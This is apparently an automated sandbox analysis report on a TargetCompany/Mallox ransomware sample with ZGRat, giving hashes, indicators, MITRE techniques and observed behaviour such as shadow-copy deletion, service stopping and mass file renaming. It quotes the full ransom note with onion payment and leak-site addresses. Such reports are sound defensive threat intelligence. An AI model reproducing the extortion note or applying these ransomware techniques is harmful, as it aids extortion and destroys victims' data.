targetcompany | 8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d

Analysis

max time kernel
81s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27-02-2024 10:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Size

4.8MB
MD5

7225f6ca38148af3cf287cc7a925c090
SHA1

539828feffe109d89a2b98e23b591155c986221b
SHA256

8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d
SHA512

c1518440a3f2e6a97c4f088440aad7233e40a81c9ca8be823c9c115af97c48761eaa885553612d580516518e2f8cadde0a0a029af7d18aca6fb36bdccc243982
SSDEEP

24576:agQi+4aV9xB+NRftM5zgnEGekN4z5nEOJ0HRYQlVn3FP+RYxBv3KYMBBEJGqh6LJ:E4o9xB+ttuX5J0xYKsgGqh6LA1u

Score

10^/10

targetcompany zgrat evasion ransomware rat

Malware Config

Extracted

Path

C:\Users\Admin\Contacts\HOW TO RESTORE FILES.txt

Family

targetcompany

Ransom Note

Hello Your files are encrypted and can not be used To return your files in work condition you need decryption tool Follow the instructions to decrypt all your data Do not try to change or restore files yourself, this will break them If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB How to get decryption tool: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: 0D18A39BB458D08E31C660DA 5) You will see payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion If you are unable to contact us through the site, then you can email us: [email protected] Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site.�

Emails

[email protected]

URLs

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/5064-2-0x0000000005910000-0x00000000059E0000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-5-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-6-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-8-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-10-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-12-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-14-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-16-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-18-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-20-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-22-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-24-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-26-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-28-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-40-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-38-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-36-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-34-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-32-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-30-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-42-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-44-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-46-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-48-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-50-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-52-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-54-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-56-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-58-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-60-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-62-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-64-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-66-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1
behavioral2/memory/5064-68-0x0000000005910000-0x00000000059DB000-memory.dmp	family_zgrat_v1

TargetCompany,Mallox
TargetCompany (aka Mallox) is a ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
ransomware targetcompany
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Detects command variations typically used by ransomware 2 IoCs

resource	yara_rule
behavioral2/memory/1796-1136-0x0000000000400000-0x000000000045C000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware
behavioral2/memory/1796-26204-0x0000000000400000-0x000000000045C000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware

Renames multiple (3612) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Modifies service settings 1 TTPs
Alters the configuration of existing services.
evasion

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\P:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\S:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\U:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\V:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\B:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\H:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\L:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\O:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\X:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\D:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\A:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\G:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\I:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\J:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\Q:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\T:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\Y:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\K:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\M:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\N:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\R:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\W:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened (read-only)	\??\Z:	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5064 set thread context of 1796	5064	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe	94

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\contrast-white\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\sr-cyrl-cs\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\Retail\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Retail-pl.xrm-ms	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsAlarms_10.1906.2182.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\StopwatchLargeTile.contrast-white_scale-125.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\de-de\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_Retail-pl.xrm-ms	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteMediumTile.scale-200.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\MapDarkTheme.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_2019.716.2316.0_neutral_~_8wekyb3d8bbwe\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200_contrast-black.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsymxl.ttf	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\Doughboy.scale-250.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-48.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-16.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\contrast-white\SmallTile.scale-200_contrast-white.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-white_targetsize-256_altform-unplated.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3270530367-132075249-2153716227-1000-MergedResources-0.pri	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG.HXS	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX40.exe.config	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN\THMBNAIL.PNG	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSectionGroupMedTile.scale-200.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\Timer3Sec.targetsize-16.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-16.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\AppxMetadata\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-si\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jawt.lib	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-96.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Advanced-Light.scale-125.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Dial\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\root\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color120.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-black\SmallTile.scale-125_contrast-black.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\Microsoft Office\root\Office16\BORDERS\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-32_altform-unplated_contrast-white.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\notetagsUI\main.js	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ca-es\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\nl-nl\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN\PREVIEW.GIF	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Cartridges\sql70.xsl	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\WPFT632.CNV	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GamesXboxHubSplashScreen.scale-200_contrast-high.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\en-gb\DemoNotebook.onepkg	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\OneNoteR_Trial-ppd.xrm-ms	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_Grace-ul-oob.xrm-ms	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ONENOTE_COL.HXC	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-white_targetsize-24.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Generic-Light.scale-125.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\HOW TO RESTORE FILES.txt	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Config\VMRConfig.json	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-white_targetsize-16.png	8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3116	sc.exe
6604	sc.exe
1832	sc.exe
6012	sc.exe
5608	sc.exe
6132	sc.exe
5164	sc.exe
5436	sc.exe
5480	sc.exe
5200	sc.exe
6052	sc.exe
3560	sc.exe
5384	sc.exe
1388	sc.exe
5700	sc.exe
5956	sc.exe
4464	sc.exe
5200	sc.exe
5180	sc.exe
3192	sc.exe
4596	sc.exe
6028	sc.exe
3636	sc.exe
5596	sc.exe
1568	sc.exe
3936	sc.exe
1772	sc.exe
5620	sc.exe
5572	sc.exe
5588	sc.exe
5636	sc.exe
3188	sc.exe
2380	sc.exe
4840	sc.exe
3640	sc.exe
6068	sc.exe
5384	sc.exe
4472	sc.exe
3728	sc.exe
3636	sc.exe
3312	sc.exe
5636	sc.exe
5460	sc.exe
4424	sc.exe
5052	sc.exe
5172	sc.exe
5432	sc.exe
1288	sc.exe
1404	sc.exe
5356	sc.exe
1940	sc.exe
5820	sc.exe
1920	sc.exe
6092	sc.exe
5392	sc.exe
6016	sc.exe
5152	sc.exe
5884	sc.exe
5164	sc.exe
3300	sc.exe
3124	sc.exe
908	sc.exe
1248	sc.exe
2896	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Discovers systems in the same network 1 TTPs 2 IoCs

discovery

Remote System Discovery

T1018

pid	Process
2532	net.exe
3740	net.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4056	vssadmin.exe

Kills process with taskkill 64 IoCs

evasion

pid	Process
5304	taskkill.exe
2824	taskkill.exe
4816	Process not Found
2208	Process not Found
4292	Process not Found
1884	Process not Found
3884	Process not Found
5556	taskkill.exe
5744	taskkill.exe
5524	taskkill.exe
2860	taskkill.exe
6716	taskkill.exe
388	Process not Found
6028	Process not Found
3204	taskkill.exe
2272	taskkill.exe
4560	Process not Found
1248	Process not Found
4348	Process not Found
6752	Process not Found
7020	Process not Found
3496	taskkill.exe
2464	taskkill.exe
5160	Process not Found
844	Process not Found
4792	Process not Found
5452	Process not Found
5392	taskkill.exe
5268	taskkill.exe
2784	taskkill.exe
5124	taskkill.exe
5708	Process not Found
1576	taskkill.exe
3608	taskkill.exe
5424	Process not Found
2512	Process not Found
6840	Process not Found
3692	Process not Found
5644	taskkill.exe
